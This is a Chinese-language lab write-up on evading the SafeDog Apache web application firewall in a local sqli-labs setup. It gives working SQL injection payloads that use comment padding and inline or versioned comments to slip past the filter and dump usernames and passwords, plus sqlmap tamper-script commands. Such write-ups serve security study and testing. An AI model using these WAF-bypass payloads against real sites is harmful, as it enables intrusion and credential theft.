环境配置
Windows 10
phpstudy
sqli-labs靶场
网站安全狗apacheV4.0
Fuzz绕过
写一个简单能绕过安全狗的语句(留一个位置刚好能触发安全狗,我这里and就能触发安全狗,去掉and后能正常显示?id=1' and '1'='1 --+
),提交后使用burp抓包,发送到Intruder模块,当然了,可以口算找!可以口算找!
传上字典开始跑,看好多文章都说这种字典很多,但我觉得还是挺难找的。
这些字符就是被拦截的,找一些没问题的字符(可以把没问题的再拿出来一试一下另外一个语句),也得去跑一些关键字:union、select、以及常用的一些语句之类的。
这里就用/*//--/*/
这个字符(参考文章)
查信息
查字段
order by语句
http://sqli/Less-1/?id=-1' order by 1 --+
被拦截了,使用/*//--/*/
进行绕过
http://sqli/Less-1/?id=1' order /*//--/*/ by 4 --+
成功绕过
联合查询
union select语句
http://sqli/Less-1/?id=-1' union /*//--/*/ select 1,2, 3 --+
显示报错位置
database()
?id=-1' union /*//--/*/ select 1,2, database() --+
看来还要对dabatase()进行绕过,这里直接用database /*//--/*/ ()
好像就能绕过,我参考的文章这里就用到了内联注释(参考如下1,下2是我用的)
?id=-1' union /*//--/*/ /*!--+/*%0aselect/*!1,2,*/database /*//--/*/ () --+
http://sqli/Less-1/?id=-1' union /*//--/*/ select 1,2,database /*//--/*/ () --+
其他的几个库名
http://sqli/Less-1/?id=-1' union /*//--/*/ select 1,2, group_/*//--/*/concat(schema_/*//--/*/name) from information_schema./*//--/*/schemata --+
加了几个/*//--/*/
还是被拦截了,这里对information_schema.schemata
也有拦截(可以直接在安全狗去看),可这里information_schema./*//--/*/schemata
也无法绕过,这里本来想引入在3.5版本里面的绕过from的一个方法/*!06447%23%0afrom*/
(利用版本号进行绕过,06447也就是个数字,可以从00000-99999,当然一些版本问题,大数字可能执行不成功)
?id=-1' union /*!06447%23%0aselect*/1,2, group_concat(schema_name) /*!06447%23%0afrom*/ information_schema./*!06447%23%0aschemata*/ --+
emmmm但发现好像不太行,使用内联注释
?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(schema_name) /*!from*/ /*!--+/*%0ainformation_schema./*!schemata*/ --+
当然这样也行,主要就是对
/*!--+/*%0ainformation_schema./*!schemata*/
进行绕过
?id=-1' union /*//--/*/ select 1,2, group_concat(schema_name) from /*!--+/*%0ainformation_schema./*!schemata*/ --+
表名
?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(table_name) /*!from*/ /*!--+/*%0ainformation_schema./*!tables*/ where table_schema='security' --+
列名(字段名)
?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(column_name) /*!from*/ /*!--+/*%0ainformation_schema./*!columns*/ where table_name='users' --+
数据
?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(concat_ws(0x7e,username, password)) /*!from*/ security.users --+
主要就用到/*//--/*/
和内联注释(也可以用到一些版本号绕过,但也可以不用)。主要就是得找出有效绕过的姿势(当然绕过姿势还有很多),剩下的操作基本上差不多。再贴一次参考文章
SQLmap tamper绕过
小介绍
tamper:网上介绍大多都是这样—使用SQLMap提供的tamper脚本,可在一定程度上避开应用程序的敏感字符过滤、绕过WAF规则的阻挡,继而进行渗透攻击。个人理解就是在使用SQLmap进行漏洞检测时自动绕过一些过滤字样及waf。
可以直接找到并且能够查看,这就意味着我们能够直接更改脚本内容,所以当我们知道如何去绕过某个过滤点时,可直接修改对应脚本然后再用SQLmap去跑,就比如绕过安全狗时,我们知道不能直接使用关键字union select,并且使用
/*//--/*/
就能绕过,那我们就可以去找一个用来绕过关键字的脚本,手动修改绕过方式为/*//--/*/
,然后去跑就是了,emmm那么哪一个脚本是用来绕过关键字的呢?sqlmap中各个 tamper 的作用,这网上的文章可就太多了,还有的对适用版本,适用的数据库做了总结。
使用
在SQLmap中的用法,前面都一样,后面加上 --tamper=___.py
就好了(两个脚本用,
隔开),整体也就是:
sqlmap.py -u "http://sqli/Less-1/?id=1' " --level=_--risk=_ -p name -D/T--tamper=___.py
level,risk,-p都是选择加或者不加,--level=_--risk=_
就是等级 , -p -name
是指定可测试的参数(?page=1&id=2 也就是-p “page,id”)好像不多加这个, -D/T
也就是-dbs
、-D -security -tables
这些。举个例子
sqlmap.py -u "http://sqli/Less-1/?id=1' " --level=3 --risk=3 --dbs --tamper=halfversionedmorekeywords.py
不过好奇怪哇,直接就扫出来信息了,是不是安全狗没给防护呢?尝试不加--tamper
emmmmm,的确软件也没报出有攻击,这里换上局域网地址试一试
sqlmap.py -u "http://192.168.__.__/sqli/Less-1/?id=1' " --level=3 --risk=3 --dbs --tamper=halfversionedmorekeywords.py
安全狗拦截了2000+次(以前拦截数不上百),sqlmap啥也没扫出来,这应该才是防护了,突然发现了一些奇怪的问题,搞明白了再更,这里先放一个利用tamper绕sqli-labs 32关宽字节的操作。
不加tamper时:
加上tamper时:
emmm有点小问题,不过也是跑出了信息。
奇怪的问题
1.加区域网ip地址
上面加上局域网ip地址后的确能还触发安全狗拦截,但是手工尝试的时候。
这是不加的并使用?id=1' and '1'='1 --+
这是加了的并使用?id=1' and '1'='1 --+
这是不加的并使用?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(concat_ws(0x7e,username, password)) /*!from*/ security.users --+
语句的:
这是加了的并使用?id=-1' union /*!--+/*%0aselect/*!1,2,*/ group_concat(concat_ws(0x7e,username, password)) /*!from*/ security.users --+
语句的:
这是加了错误地址的:
2.安全狗对sqlmap部分数据并不拦截
就像上面看到的,本来想用tamper模块绕一下,可是不需要tamper模块就能全部跑出来,的确莫名其妙安装下来的安全狗还是有点问题。